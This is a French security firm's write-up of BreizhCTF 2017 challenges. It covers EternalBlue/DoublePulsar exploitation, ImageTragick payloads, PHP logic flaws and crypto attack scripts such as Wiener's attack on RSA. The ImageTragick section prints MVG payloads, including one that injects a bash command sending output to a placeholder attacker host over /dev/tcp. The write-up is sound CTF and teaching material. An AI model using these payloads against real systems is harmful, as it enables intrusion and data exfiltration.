Une question ? Contactez notre standard : 01 41 91 58 61 - Un incident de sécurité ? Faites-vous assister : 01 47 28 38 39

Cette année encore nous avons eu le plaisir de rejoindre Rennes pour l’édition 2017 du BreizhCTF, toujours aussi bien organisé par Bretagne Développement Innovation, @SaxX et @Kaluche dans les locaux d’Epitech Rennes.

A l’issue de la nuit, nous nous sommes classés en 8ème place, mais avec la satisfaction d’avoir résolu presque toutes les épreuves.Bravo aux gagnants et merci aux organisateurs et sponsors !

Spy [realistic]

250 points | 49% de résolution

Une des épreuves identifiée comme « réaliste », nous donnait pour unique instruction de vérifier s’il était possible de compromettre le serveur cible ayant pour adresse IP « 10.119.227.111 » :

Une première phase d’analyse des ports accessibles sur ce serveur a donc été réalisée via l’outil nmap, afin d’identifier la surface d’exposition de celui-ci :

L’utilisation des scripts NSE nous révèle la version de Windows utilisée :

En recoupant ces informations avec le titre de l’épreuve (SPY), nous savons que nous allons devoir utiliser les exploits Windows révélés ces dernières semaines par les Shadow Brokers.

Note : Il est important de rappeler qu’au vu du peu de retours concernant la composition de ces outils, nous ne préconisons pas leurs utilisations en dehors d’un environnement de test cloisonné.

Après avoir installé les différentes dépendances nécessaires, nous lançons le Framework d’exploitation FuzzBunch, et plus précisément le module EternalBlue, permettant d’exploiter la vulnérabilité MS17-010 sur le protocole SMB :

Une fois le module lancé en précisant les différents paramètres souhaités, celui-ci installe une « backdoor » sur le poste (nous sommes sur la bonne voie :p).

Nous générons alors une DLL au préalable via le Framework Empire :

L’utilitaire « DoublePulsar » permet ensuite de charger cette DLL arbitraire sur le poste vulnérable, en spécifiant le chemin complet vers celle-ci :

Une fois l’ensemble des informations vérifié, nous pouvons lancer l’attaque :

Un agent Empire est alors récupéré avec les droits « NT SYSTEM » (\0/) :

Afin de simplifier la suite du scénario d’exploitation, nous créons simplement un utilisateur local appartenant au groupe des administrateurs locaux du poste compromis :

Il suffit alors de se connecter au service RDP précédemment identifié via le compte Administrateur créé :

Et de parcourir les dossiers de l’utilisateur « NSA » pour enfin accéder au flag de l’épreuve :

Pour information, la majorité des vulnérabilités révélées par les Shadow Brokers et impactant les systèmes d’exploitation Windows a été corrigée par Microsoft (cf. communication officielle).

Comme toujours, il convient donc d’appliquer les derniers correctifs de sécurité disponibles afin de se prémunir de ce type de scénario d’exploitation.

Enfin, le module Metasploit auxiliary/scanner/smb/smb_ms17_010 permet de vérifier la présence de la vulnérabilité MS17-010, en vérifiant les codes de retour lors des tentatives d’accès au partage IPC$ et l’envoi d’une transaction sur l’ID de fichier 0 (FID 0).

The Voting Machine [web]

175 points | 31% de résolution

Il s’agit d’une application Web simpliste avec seulement un formulaire qui propose de voter pour un président. Au-delà des champs textuels classiques (nom, prénom…) nous avons un upload d’image.

L’application vérifie que le fichier envoyé porte bien une extension d’image et l’upload d’une image invalide génère une erreur 500 laissant supposer que l’image est traitée d’une certaine manière. Sans indice sur l’éventuel stockage du fichier ni sur son emplacement, nous abandonnons la piste de l’upload d’un webshell et nous nous rappelons la fameuse vulnérabilité ImageTragick (CVE-2016–3714).

Le site officiel nous donne des pistes de payloads intéressants, nous confirmons la vulnérabilité par le déclenchement d’une SSRF en direction de notre machine avec le fichier foo.mvg suivant (cette extension exotique était acceptée par l’application Web, ce qui est suffisamment rare pour confirmer notre intuition) :

push graphic-context
viewbox 0 0 640 480
fill 'url(http://IP_ATTAQUANT/)'
pop graphic-context

Nous nous sommes ensuite intéressés au payload plus intéressant : celui permettant d’exécuter des commandes arbitraires. Il est nécessaire de charger une image avec « https:// » pour déclencher l’injection de commande. Ici nul besoin d’obtenir un reverse shell interactif, le fichier suivant était suffisamment pour recevoir sur notre port 80 le résultat de la commande ls :

push graphic-context
viewbox 0 0 640 480
fill 'url(https://IP_ATTAQUANT"||/bin/bash -c "ls > /dev/tcp/IP_ATTAQUANT/80)'
pop graphic-context

Logiquement nous repérons un fichier flag.txt dans le répertoire courant et obtenons son contenu :

Eddy Malou [web]

350 points | 57% de résolution

Cette application PHP simple permet de se connecter pour accéder à une liste de messages déposés par les utilisateurs. Nous pouvons également déposer notre message.

Toutes ces actions sont déclenchées par des requêtes POST sur la racine du site avec un paramètre action et un paramètre data.

Une valeur invalide du paramètre action déclenche une ReflectionException : le message d’erreur indique sans ambigüité que la méthode d’introspection getMethod est appelée sur l’objet courant avec le paramètre passé :

Nous pouvons donc appeler la méthode de notre choix, reste à découvrir la liste de ces méthodes. Nous pensons alors à la fonction magique __toString qui fonctionne à merveille :

Nous appelons donc la méthode set_access pour devenir administrateur et nous voir offrir le flag (saluons au passage les tentatives d’injections diverses de nos concurrents) :

Shufflunatorz [web]

100 points | 63% de résolution

Cette application Web PHP nous propose de nous connecter en tant qu’admin et nous divulgue même son mot de passe, cependant l’application nous donne les bonnes lettres mais dans le désordre (shuffled), et les re-mélange à chaque soumission. Nous observons aussi la présence d’un jeton anti-rejeu qui change à chaque fois.

Nous générons en Python les 5040 combinaisons :

import itertools

c = 'ecibopm'
for i in itertools.permutations(c, len(c)):
    print("".join(i))

Puis décidons de tester toutes les combinaisons sur l’application. Pour ce faire nous utilisons Burp et le configurons pour extraire et reporter le jeton anti-rejeu d’une requête à l’autre, comme lorsque nous auditons une application comportant un jeton anti-CSRF.

Après un peu de patience (cette méthode ne permettant pas la parallélisation) nous sommes récompensés :

Cryptopat [crypto]

250 points | 9% de résolution

Nous avons réussi à intercepter une conversation entre Alice et Bob sur un canal non sécurisé. Malheureusement, le message contenant les informations sensibles dont nous souhaitons récupérer a été chiffré par le biais du chiffrement asymétrique RSA.

C’est pour cela que nous engageons les meilleurs cryptanalystes qui seront récompensés par des points s’ils parviennent à nous retrouver partiellement ou l’intégralité des données dont nous recherchons !

Pour vous faciliter la tâche nous vous avons extrait chacun de ces messages et les avons classés par ordre chronologique. (message1, puis message2 …). Nous avons également intercepté deux clés publique en provenance d’Alice. (d’abord pubkey, ensuite pubkey2). Espérons que cela suffise pour que vous puissiez nous aider !

Le challenge se présente sous la forme d’un archive contenant plusieurs fichiers : deux clés publiques, quatre messages déchiffrés et un message chiffré.

Les quatre messages contiennent l’extrait d’un échange entre Bob et Alice :

Trois informations importantes y sont présentées :

  • La première clé d’Alice est vulnérables à l’attaque de Wiener sur RSA ;
  • La seconde clé utilise le même exposant de chiffrement avec 15 bits de poids fort supplémentaires ;
  • La première moitié du flag est révélée dans les échanges !

L’objectif est donc d’utiliser l’attaque de Wiener sur la première clé publique afin de récupérer la clé privé correspondante, puis de bruteforcer la seconde clé privé à l’aide de la première.

Le challenge peut être résolu à l’aide d’un script effectuant les actions suivantes :

  • On effectue l’attaque de Wiener afin de récupérer l’exposant privé correspondant à la première clé publique ;
  • On valide que l’exposant privé récupéré correspond bien à la clé publique en déchiffrant un message ;
  • On itère sur toutes les solutions possible pour les 15 bits supplémentaire en essayant de déchiffrer un message pour trouver la seconde clé privée

On peut alors utiliser la clé privée pour déchiffrer la deuxième moitié du flag !

Script :

from sage.all import *
from Crypto.PublicKey import RSA
import sys

def factor_rsa_wiener(N, e):
    """Wiener's attack: Factorize the RSA modulus N given the public exponents
    e when d is small.
    Source: https://crypto.stanford.edu/~dabo/papers/RSA-survey.pdf
    CTF: BKP CTF 2016 Bob's Hat
    """
    N = Integer(N)
    e = Integer(e)
    cf = (e / N).continued_fraction().convergents()
    for f in cf:
        k = f.numer()
        d = f.denom()
        if k == 0:
            continue
        phi_N = ((e * d) - 1) / k
        b = -(N - phi_N + 1)
        dis = b ** 2 - 4 * N
        if dis.sign() == 1:
            dis_sqrt = sqrt(dis)
            p = (-b + dis_sqrt) / 2
            q = (-b - dis_sqrt) / 2
            if p.is_integer() and q.is_integer() and (p * q) % N == 0:
                p = p % N
                q = q % N
                if p > q:
                    return (p, q)
                else:
                    return (q, p)

# some message for testing purpose
m=123456

# n and e extracted using : openssl rsa -pubin -inform PEM -text -noout < alice_pubkey.pem
n=0x009bcec30ed18fdab08e559be429dc408acca727a0bdb22eddae297e0fb41911f0a924bf4b111cef135a7766325639ed7b1de13a25938b86a5b02e5b382d258d42bbc6eb5078ed4a5a84f77e35de1f51d443e87870447770589f9e5d6f99846bbbd18a434d2954f4f36250c24bcafac21f63a183ddde7df3d9a8a715f790e965e0f25ec0052dc16f3164a4754b686f882a48f4400f6e5d9969344b3a62639dc00c2693288584248ec75bc7ca78ee80cb715c9bfc1a6bcf3dd876fea62387d17b3cb299fcd85d36b476d0ce386ca9696ae6f8cfba2e9d1080775bca26f96c7be917b6dd55cf94fa2ba806fd7eb8f8f64025de135ce9118a75735740128cfa0c8181
e=0x7f46ebfb41c86b905b769810a7e817f61520de40c36362fc8e943767ca0b9bd054f29d44589edaa8aaaae505ed86d5aaee2258dc49f6aa894a3480b5af0c3ee0cce6bd4974ca746ca05e2216b69232d019c1c3a7bb44220b471ecb1874ca442574505ba2a64d15a0db11f439ff494915b9d1110af52705739f454a8fd587a8155cd8eabac3551a4e1d122370e5e3c509eb5a3c195308ed57201b1fe5076337a4f155fef88c82a1309523ab7325328169b690f120d8c3bdc864a95296806961a1d49b2f5c0bebca97629d5ffc85f2564045e771d7f1b47c01a2114e1ce845d498da0dadaee1cfee4ce6efb1130cca81931e412e39eec05b396619def75fbe818d


print("[~] Using Wiener attack to retrieve the private exponent")
p,q = factor_rsa_wiener(n,e)
print("[+] Found p: %d") % p
print("[+] Found q: %d") % q
print("[~] Calculating the private exponent from previous p and q")
phi = (p - 1) * (q - 1)
d = inverse_mod(e, phi)

c = Mod(m, n) ** e
if m != Mod(c, n) ** d:
    print("[!] bad private key, exiting ...")
    sys.exit()
else:
    print("[+] Found alice's old private exponent!")

# n and e extracted using : openssl rsa -pubin -inform PEM -text -noout < alice_pubkeyi_2.pem
n2=0x00a941561ee5f527dad47e8f82b5446afd825ac304a504db1cf9979a63c6a8bdeef56be3facda952676cc8269eae0b76d6132485eee9ae37b968f12a4d6a3ed11f0d7db68eb89e37340b5d458bcc58169c7bb145dc32040c976cba884386c98cb44f078897a317fe83ccf2b48dd397b059c465ed5a3c64a530865f7095532e6ecd8df9794fe24c07806848912f026de150c008acce9afae715f2e12927356a7e4d1184936f0e03bcc9b7eb557e91f46c9f8eb81125e38d7552e1345c09b639a69d6536c29d43ef66c23e9f85a0efef4784909b62d2a44af849a46c877e7118ab2622bf7c607b5f41a02853c5186196d88618c60a2e280ad387e8f729ed06f887fd
e2=0x6cc7ffb92a9f4a6c8276082434f70efd4e4487c20540ebcd92c57a33b0204670721463f067e5819fb8d387887aeae7a6125055143fe105dfbeeb29598a8f27f0e1fb87b29e583032a1293511001915f70a6a59460f49daef5d943ac3c7f4a07f693669b5e13a73b3f23771f72321573fc80bc7c59e6f913ca3ccd83687920e621c652ea28339b43eed4b3938d8124af3407e64962bea01c3212071ab9b6c2a44271652c9d822d47aa3f1c45c7a0383c8716d8bb0607ce6662182f235083e8d365da15d6bfa119dede23756debb48c979ede370b915bca5430ae02b367de80d4246b6fff4c5ec75bde9209b022ea45bd14fba30a72c7b0f1c2e9dd707ea4c5cad
print("[~] Bruteforcing the new private exponent")
found = False
c = Mod(m, n2) ** e2
for i in range((2**15)+1):
    j = i << 511
    d2 = d+j
    if m == Mod(c, n2) ** d2:
        print("[+] Private exponent found!")
        found = True
        break
if found:
    print("[~] Generating PEM private key")
    key = RSA.construct((long(n2),long(e2),long(d2)))
    print(key.exportKey())
else:
    print("[!] No valid exponent found...")

GoGoGoBabyGo [crypto]

100 points | 63% de résolution

Il s’agit d’une épreuve de crypto codée en Go. Le code était fourni, tâche à nous d’identifier la chaîne de départ ayant mené à la chaîne chiffrée présente dans le code.

L’algorithme de chiffrement plutôt simple est le suivant :

var init int = 0
var out string = ""
var value int

for i := 0; i < len(myStr); i++ {
    value = int(charCodeAt(myStr, i))
    init ^= (value << 2) ^ value
    out  += string(init & 0xff) // pas bon ce qui emmene au replace a patcher
    init >>= 8
}

Nous choisissons une approche brute-force : nous allons générer la chaîne originale, en itérant caractère par caractère pour obtenir un chiffré qui correspond à celui qui est attendu. Voici le code écrit rapidement à partir duquel nous sommes partis :

from binascii import unhexlify
import string
final = unhexlify("4a1b506c33694e055f9605555550a4a5a54ad2d7227266226322e4afd2a0f0227de4224ebb9cb1a5d22250a5221ee49939224e22501e05227d22721111721e50a4a5a50455555088")
input = "BREIZHCTF{"
for c in string.printable:
    init = 0
    out = ""
    testfinal = input + c
    for i in range(0, len(testfinal)):
        value = int(ord(testfinal[i]))
        init ^= (value << 2) ^ value
        out += chr(init & 0xff)
        init >>= 8
    if out == final[:len(testfinal)]:
        print testfinal

Le début du flag, stocké dans input, nous était donné dans le script Go. La première exécution du script nous permet de découvrir un caractère supplémentaire, que nous reportons à la fin de input avant de le relancer. Nous répétons cette opération (qui aurait bien sûr pu être implémentée directement) quelques fois et obtenons enfin le flag qui correspond parfaitement à ce qui était souhaité :

input = "BREIZHCTF{TDDE!!!Bon_OK_J_avoue_La_Crypto_Et_SaxX_C_EST_L_OPPOSE!!!TDDE}"

BreizhCTF Party ! [crypto]

100 points | 71% de résolution

Nous arrivons sur une page Web au fond coloré flashy avec un titre et un fragment de binaire, qui nous renvoie en 1 seconde sur une seconde page avec un fond coloré flashy différent avec un autre fragment de binaire, ainsi de suite pour un total de 4 pages. Ce style stroboscopique flashy explique alors le sous-titre “party like it’s 1997” !

Nous avons l’intuition de XOR ces 4 fragments de binaire, octet par octet, avec ce script écrit rapidement :

import binascii
import sys
n1 = int('0b0010001000101110001101110010100100111100001110000010111100001100001110000000011000001111001100000000000100011001001110010000100100100101',2)
n2 = int('0b0100000101000010010000110100010001000101010001100100011101001000010010010100101001001011010011000100110101001110010011110101000001010001',2)
n3 = int('0b0101000101011010010100110100010101000100010100100100011001010100010001110101100101001000010101010100101001001001010010110100111101001100',2)
n4 = int('0b0101000001001100010011110100101101001001010010100101010101001000010110010100011101010100010001100101010001000110010100100100010001000101',2)
n1 = binascii.unhexlify('%x' % n1)
n2 = binascii.unhexlify('%x' % n2)
n3 = binascii.unhexlify('%x' % n3)
n4 = binascii.unhexlify('%x' % n4)
for i in range(0, len(n1)):
    sys.stdout.write(chr(ord(n1[i]) ^ ord(n2[i]) ^ ord(n3[i]) ^ ord(n4[i])))

Et nous obtenons instantanément le flag : bzhctf{XoRXoRXoR}

Diffie Failman [crypto]

200 points | 49% de résolution

Le titre de cette épreuve de crypto annonce clairement la couleur : il s’agit du protocole d’échange de clés Diffie Hellman. Nous avons à notre disposition un code-source Python, implémentant un client et un serveur, ainsi qu’une capture réseau pcap d’un échange utilisant ce programme.

La capture montre clairement l’échange de deux grands entiers, puis ce qui ressemble à un échange chiffré :

Nous confirmons cette observation à la lecture du code. En voici l’extrait qui concerne le côté serveur de cet échange :

shared = 65535
private_key = randint(10 ** 24, 10 ** 32)
public_key = shared * private_key
try:
    if is_server:
        print("Start server")
        s.bind((server, 31337))
        while True:
            s.listen(5)
            client, accept = s.accept()
            pub = client.recv(128)
            client.send(str(public_key))
            intermediate = long(pub) * private_key
            shared_secret = hashlib.sha256(str(intermediate).encode("utf-8")).digest()
            print("Key exchange completed")
            while True:
                secret_message = client.recv(1024)
                message = decrypt(secret_message, shared_secret)
                print("<<< %s" % message)
                message = raw_input(">>> ")
                secret_message = encrypt(message, shared_secret)
                client.send(secret_message)

Le premier message du serveur sert à envoyer au client, en clair, sa public_key, or il s’agit du produit de shared et private_key. Nous connaissons shared=65535 donc une simple division nous donne la private_key générée aléatoirement : perdu !

Les échanges sont chiffrés avec shared_secret qui est le condensat SHA256 de intermediate qui vaut le produit de private_key (que nous savons deviner) et de pub qui est simplement la clé publique du client envoyée en clair (que nous connaissons donc également).

En conclusion, un attaquant en situation de Man-in-the-Middle et connaissant le secret partagé codé en dur shared=65535 aura tous les éléments pour calculer de son côté la clé de chiffrement et déchiffrer les messages.

Pour preuve nous nous attaquons à l’échange chiffré, avec ce court script largement copié/collé de celui qui était fourni, que nous appliquons sur les messages échangés jusqu’à parvenir au message qui contient le flag :

import hashlib
from Crypto.Cipher import AES
from binascii import unhexlify
unpad = lambda s: s[0:-ord(s[-1])]
def decrypt(message, key):
    IV = message[:AES.block_size]
    aes = AES.new(key, AES.MODE_CBC, IV)
    decr = aes.decrypt(message[AES.block_size:])
    return unpad(decr)
shared = 65535
private_key = 1449121672058438729139215000099850030 / shared
pub = 4658287721478817501151725639698791040L
intermediate = long(pub) * private_key
shared_secret = hashlib.sha256(str(intermediate).encode("utf-8")).digest()
print decrypt(unhexlify(
    "64ff23d65f6926f1c55253e3b892a25872d44b0d48f9f0b01580958bfc1e668b5c9235e8f3ed2c0c76258152d97402604a10d507cfcbd701529dfa972afe7b4a"),
              shared_secret)

Message en clair avec le flag : “Sure : BZHCTF{This_key_exchange_Sux}”

En conclusion, cet échange de clé semble implémenter un mécanisme similaire à Diffie Hellman, seulement ici l’utilisation d’un simple produit au lieu d’une exponentiation modulaire (donc plus simple à inverser) ne permet plus de protéger le secret créé. Il est donc important de rappeler qu’une implémentation maison d’un algorithme de cryptographie est fortement déconseillée tant il est facile d’insérer par mégarde des vulnérabilités critiques.

Cyber Bullshit Cyber [crypto]

250 points | 57% de résolution

Pour cette épreuve de crypto nous avons un script Python qui implémente les fonctions de chiffrement et déchiffrement d’un algorithme maison “custom CBC cipher based on SHA256 MAC”. L’exemple fourni chiffre puis déchiffre une chaîne de caractères avec une clé secrète.

Enfin, le script débute par un commentaire qui donne la chaîne qu’il nous incombe de déchiffrer.

Nous analysons dans le détail le fonctionnement de l’algorithme de chiffrement. Le fonctionnement de cet algorithme est le suivant :

  1. un vecteur d’initialisation (IV) aléatoire est généré
  2. un keystream (ks) est généré en appliquant un HMAC-SHA256 avec clé=IV et msg=clé secrète. Ceci semble être une erreur dans l’ordre des arguments, toutefois ce défaut n’a pu être exploité.
  3. le message est découpé en blocs car il s’agit d’un mode de chiffrement par blocs (CBC)
  4. le premier bloc est chiffré en le mélangeant avec un XOR avec le keystream (ks) précédemment préparé
  5. puis chaque bloc est chiffré avec du XOR de la même manière en le mélangeant avec le bloc précédent, et ainsi de suite
  6. le message chiffré est retourné, préfixé du vecteur d’initialisation (IV)

Le chiffré fait une taille de 96 octets, sachant que les blocs font 32 octets, cela donne un bloc d’IV puis deux blocs de données.

Au final nous avons quelque chose qui paraît compliqué mais qui se rapporte à un simple chiffrement par XOR avec une faiblesse bien connue qui est que cette opération s’annule si elle est dupliquée avec les mêmes arguments. En effet nous avons :

bloc2_chiffré = bloc2_clair XOR bloc1_chiffré

=>

bloc2_chiffré XOR bloc1_chiffré = bloc2_clair XOR bloc1_chiffré XOR bloc1_chiffré = bloc2_clair

Il ne reste plus qu’à implémenter ceci en quelques lignes :

import sys
# ciphered string
s = "\x01@N\x02t\x1f60\xaf?\x1c\xf1\xadS\xe2\x9c\n\x97[\xaa\xf5\xd0\\\xd6\x86\xd7\x9e\xcaUr\\M\xc3Q\xae\x01e\x1e\xcbz\xbd\x8f\x89e^\xde'\xaa\xbf\xe4\x19\xe9\xef\x12r\xdb\xb0X\xff\\>\xa1\xad\x98\xa1+\xc6b\x11x\xb0#\xf2\xc3\xc6&\x0c\x87w\xfe\xf0\xd6)\xd8\xd8ox\xd1\xbaR\xf5V4\xab\xa7\x92"
iv = s[0:32]
s1 = s[32: 32 + 32]
s2 = s[32 + 32:32 + 32 + 32]
for i in range(0, 32):
    sys.stdout.write(chr(ord(s2[i]) ^ ord(s1[i])))

Voici le flag : bzhctf{YOLOCRYPTO2017}

Recon [trivia]

100 points | 57% de résolution

La description de l’épreuve annonce que les organisateurs sont présents sur les réseaux sociaux d’avenir : l’actualité nous fait immédiatement penser à Mastodon mais reste encore à trouver l’instance de ce réseau décentralisé sur laquelle ils se sont inscrits.

Nous obtenons sur https://instances.mastodon.xyz/list la liste des instances, après un peu de formatage et d’extraction nous avons une liste d’URL, il ne reste plus qu’à itérer sur chacune à la recherche d’un code HTTP 200 pour le compte @breizhctf. La commande suivante, bien qu’imparfaite (dans le feu de l’action…), a très bien fait l’affaire :

for host in $(cat urls.txt); do echo $host; curl -s -o /dev/null -w "%{http_code}" "$host/@breizhctf" 2>&1; done

Au bout de quelques secondes l’instance est identifiée :

Nous avons bien identifié le compte mais visiblement le flag n’est pas encore à notre portée :

Certains caractères s’affichent bizarrement en raison de leur remplacement par des caractères Unicode similaires. Après quelques tentatives pour deviner manuellement le flag, nous cherchons des articles ou applications relatifs à la stéganographie Unicode pour enfin tomber sur http://holloway.co.nz/steg/ qui nous donne à partir du message posté un lien vers un fichier contenant une liste d’URLs. Le dernier lien de la liste (merci pour la balade) nous donnant enfin le flag.

— Walid Arnoult, Clément Notin, Arthur Villeneuve

Verified by MonsterInsights